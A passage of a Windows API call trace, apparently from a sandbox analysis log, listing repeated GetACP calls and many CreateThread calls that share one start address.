() returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.064] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.065] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.066] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.067] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.068] GetACP () returned 0x4e4 [0226.145] GetACP () returned 0x4e4 [0226.169] GetACP () returned 0x4e4 [0226.172] GetACP () returned 0x4e4 [0226.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe48) returned 0x1f0 [0226.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe4c) returned 0x1f4 [0226.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe50) returned 0x1f8 [0226.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe54) returned 0x1fc [0226.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe58) returned 0x200 [0226.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe5c) returned 0x204 [0226.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe60) returned 0x208 [0226.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe64) returned 0x20c [0226.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe68) returned 0x210 [0226.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe6c) returned 0x214 [0226.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe70) returned 0x218 [0226.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe74) returned 0x21c [0226.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xe78) returned 0x220 [0226.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xecc) returned 0x224 [0226.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xed0) returned 0x228 [0226.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xed4) returned 0x22c [0226.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xed8) returned 0x230 [0226.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xedc) returned 0x234 [0226.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xee0) returned 0x238 [0226.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xee4) returned 0x23c [0226.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf38) returned 0x240 [0226.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf3c) returned 0x244 [0226.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf40) returned 0x248 [0226.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf44) returned 0x24c [0226.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf48) returned 0x250 [0226.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf4c) returned 0x254 [0226.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf50) returned 0x258 [0226.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf54) returned 0x25c [0226.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf58) returned 0x260 [0226.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf5c) returned 0x264 [0226.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf60) returned 0x268 [0226.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf64) returned 0x26c [0226.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf68) returned 0x270 [0226.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf6c) returned 0x274 [0226.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf70) returned 0x278 [0226.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf74) returned 0x27c [0226.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf78) returned 0x280 [0226.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf7c) returned 0x284 [0226.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf80) returned 0x288 [0226.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xf84) returned 0x28c [0226.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfd8) returned 0x290 [0226.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfdc) returned 0x294 [0226.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfe0) returned 0x298 [0226.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfe4) returned 0x29c [0226.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfe8) returned 0x2a0 [0226.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xfec) returned 0x2a4 [0226.481] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xff0) returned 0x2a8 [0226.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xff4) returned 0x2ac [0226.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xff8) returned 0x2b0 [0226.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xffc) returned 0x2b4 [0226.483] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xbe0) returned 0x2b8 [0226.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc28) returned 0x2bc [0226.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb74) returned 0x2c0 [0226.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc64) returned 0x2c4 [0226.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x8cc) returned 0x2c8 [0226.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc8c) returned 0x2cc [0226.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x390) returned 0x2d0 [0226.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc90) returned 0x2d4 [0226.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc94) returned 0x2d8 [0226.487] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc98) returned 0x2dc [0226.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x378) returned 0x2e0 [0226.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x5bc) returned 0x2e4 [0226.595] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcbc) returned 0x2e8 [0226.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x47c) returned 0x2ec [0226.596] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x36c) returned 0x2f0 [0226.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcc0) returned 0x2f4 [0226.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcd4) returned 0x2f8 [0226.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcd8) returned 0x2fc [0226.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcdc) returned 0x300 [0226.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd14) returned 0x304 [0226.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd18) returned 0x308 [0226.599] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd1c) returned 0x30c [0226.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x868) returned 0x310 [0226.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x940) returned 0x314 [0226.600] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x928) returned 0x318 [0226.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb80) returned 0x31c [0226.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x8f4) returned 0x320 [0226.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb78) returned 0x324 [0226.602] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb7c) returned 0x328 [0226.603] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xce8) returned 0x32c [0226.718] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd20) returned 0x330 [0226.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd7c) returned 0x334 [0226.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xb54) returned 0x338 [0226.719] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x8c0) returned 0x33c [0226.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xcc8) returned 0x340 [0226.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd24) returned 0x344 [0226.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x8bc) returned 0x348 [0226.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0x84c) returned 0x34c [0226.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xd04) returned 0x350 [0226.721] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xc9c) returned 0x354 [0226.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, dwCreationFlags=0x0, lpThreadId=0x4291f8 | out: lpThreadId=0x4291f8*=0xdd8) returned 0x358 [0226.722] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4050fb, lpParameter=0x429386, 